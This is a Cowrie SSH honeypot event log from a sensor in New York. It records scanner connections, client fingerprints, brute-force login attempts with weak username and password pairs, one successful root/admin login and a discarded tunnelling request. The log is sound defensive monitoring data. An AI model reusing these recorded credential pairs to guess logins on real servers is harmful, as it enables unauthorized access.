{"eventid":"cowrie.session.connect","src_ip":"130.250.191.201","src_port":43510,"dst_ip":"10.17.0.5","dst_port":22,"session":"de4b7118facc","protocol":"ssh","message":"New connection: 130.250.191.201:43510 (10.17.0.5:22) [session: de4b7118facc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:35.745565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:35.754929Z","src_ip":"130.250.191.201","session":"de4b7118facc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:36.013445Z","src_ip":"130.250.191.201","session":"de4b7118facc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"showroom","password":"123456","message":"login attempt [showroom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:37.069209Z","src_ip":"130.250.191.201","session":"de4b7118facc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":58064,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab757b4cd6e3","protocol":"ssh","message":"New connection: 37.77.150.119:58064 (10.17.0.5:22) [session: ab757b4cd6e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:38.316885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:38.322415Z","src_ip":"37.77.150.119","session":"ab757b4cd6e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:38.394806Z","src_ip":"130.250.191.201","session":"de4b7118facc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:38.454759Z","src_ip":"37.77.150.119","session":"ab757b4cd6e3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:38.853480Z","src_ip":"37.77.150.119","session":"ab757b4cd6e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:38.989648Z","session":"ab757b4cd6e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:39.123599Z","src_ip":"37.77.150.119","session":"ab757b4cd6e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:39.258078Z","src_ip":"37.77.150.119","session":"ab757b4cd6e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.22.233","src_port":19068,"dst_ip":"10.17.0.5","dst_port":22,"session":"0248ccb2f15b","protocol":"ssh","message":"New connection: 165.154.22.233:19068 (10.17.0.5:22) [session: 0248ccb2f15b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:51.485027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:51.494804Z","src_ip":"165.154.22.233","session":"0248ccb2f15b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:51.711344Z","src_ip":"165.154.22.233","session":"0248ccb2f15b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"srvadmin","password":"12345","message":"login attempt [srvadmin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:52.582677Z","src_ip":"165.154.22.233","session":"0248ccb2f15b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:53.807019Z","src_ip":"165.154.22.233","session":"0248ccb2f15b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":48852,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1f2685339fb","protocol":"ssh","message":"New connection: 101.36.108.125:48852 (10.17.0.5:22) [session: e1f2685339fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:58.993520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:58.997283Z","src_ip":"101.36.108.125","session":"e1f2685339fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:20:59.217821Z","src_ip":"101.36.108.125","session":"e1f2685339fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"123","message":"login attempt [cw/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:21:00.135945Z","src_ip":"101.36.108.125","session":"e1f2685339fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:21:01.359825Z","src_ip":"101.36.108.125","session":"e1f2685339fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":49926,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5e13e97f2b3","protocol":"ssh","message":"New connection: 170.238.160.191:49926 (10.17.0.5:22) [session: e5e13e97f2b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:21:07.459060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:21:07.464112Z","src_ip":"170.238.160.191","session":"e5e13e97f2b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:21:07.573423Z","src_ip":"170.238.160.191","session":"e5e13e97f2b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"celery","password":"123","message":"login attempt [celery/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:21:08.042716Z","src_ip":"170.238.160.191","session":"e5e13e97f2b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":57368,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f8f69fdb58a","protocol":"ssh","message":"New connection: 193.32.162.145:57368 (10.17.0.5:22) [session: 9f8f69fdb58a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:21:08.174502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:21:08.225737Z","src_ip":"193.32.162.145","session":"9f8f69fdb58a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:21:08.296105Z","src_ip":"193.32.162.145","session":"9f8f69fdb58a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:21:08.931130Z","src_ip":"193.32.162.145","session":"9f8f69fdb58a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:21:09.153748Z","src_ip":"170.238.160.191","session":"e5e13e97f2b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:21:10.036373Z","src_ip":"193.32.162.145","session":"9f8f69fdb58a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.16.238.49","src_port":36588,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f57086e5166","protocol":"ssh","message":"New connection: 201.16.238.49:36588 (10.17.0.5:22) [session: 3f57086e5166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:21:36.568120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:21:36.577123Z","src_ip":"201.16.238.49","session":"3f57086e5166","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:21:36.718833Z","src_ip":"201.16.238.49","session":"3f57086e5166","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"123456","message":"login attempt [linux/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:21:37.297266Z","src_ip":"201.16.238.49","session":"3f57086e5166","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:21:38.443958Z","src_ip":"201.16.238.49","session":"3f57086e5166","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":54446,"dst_ip":"10.17.0.5","dst_port":22,"session":"1881eac97a81","protocol":"ssh","message":"New connection: 195.178.110.218:54446 (10.17.0.5:22) [session: 1881eac97a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:10.743981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:10.748467Z","src_ip":"195.178.110.218","session":"1881eac97a81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:10.822999Z","src_ip":"195.178.110.218","session":"1881eac97a81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:11.047734Z","src_ip":"195.178.110.218","session":"1881eac97a81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:12.124453Z","src_ip":"195.178.110.218","session":"1881eac97a81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":44180,"dst_ip":"159.203.135.109","dst_port":22,"session":"8682eb2a43f8","protocol":"ssh","message":"New connection: 2.57.122.210:44180 (159.203.135.109:22) [session: 8682eb2a43f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:37.124018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:37.128335Z","src_ip":"2.57.122.210","session":"8682eb2a43f8","protocol":"ssh"}
